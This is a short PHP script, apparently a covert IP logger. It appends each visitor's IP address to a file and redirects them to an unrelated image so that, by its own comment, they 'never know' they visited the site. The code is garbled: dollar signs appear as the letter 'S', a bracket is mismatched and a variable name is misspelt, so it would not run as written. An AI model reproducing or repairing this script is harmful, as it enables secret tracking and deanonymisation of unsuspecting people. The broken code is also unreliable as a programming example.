<?php

//redirect the user so they never know they  visited your site 
header( 'location: https://cdn.techinasia.com/wp-content/uploads/2015/07/indian-woman.jpg' ) ; 

//get the ip address of the user 
Sip=S_SERVER('REMOTE_ADDR'] ;

//Write the ip to a file 
SmyFile= "ip.txt";
Sfh=fopen(SmyFile, 'a') or die("can't open file");
SstringsData="Sip\n";
fwrite(Sfh, SstringData);
fclose(Sfh);

?>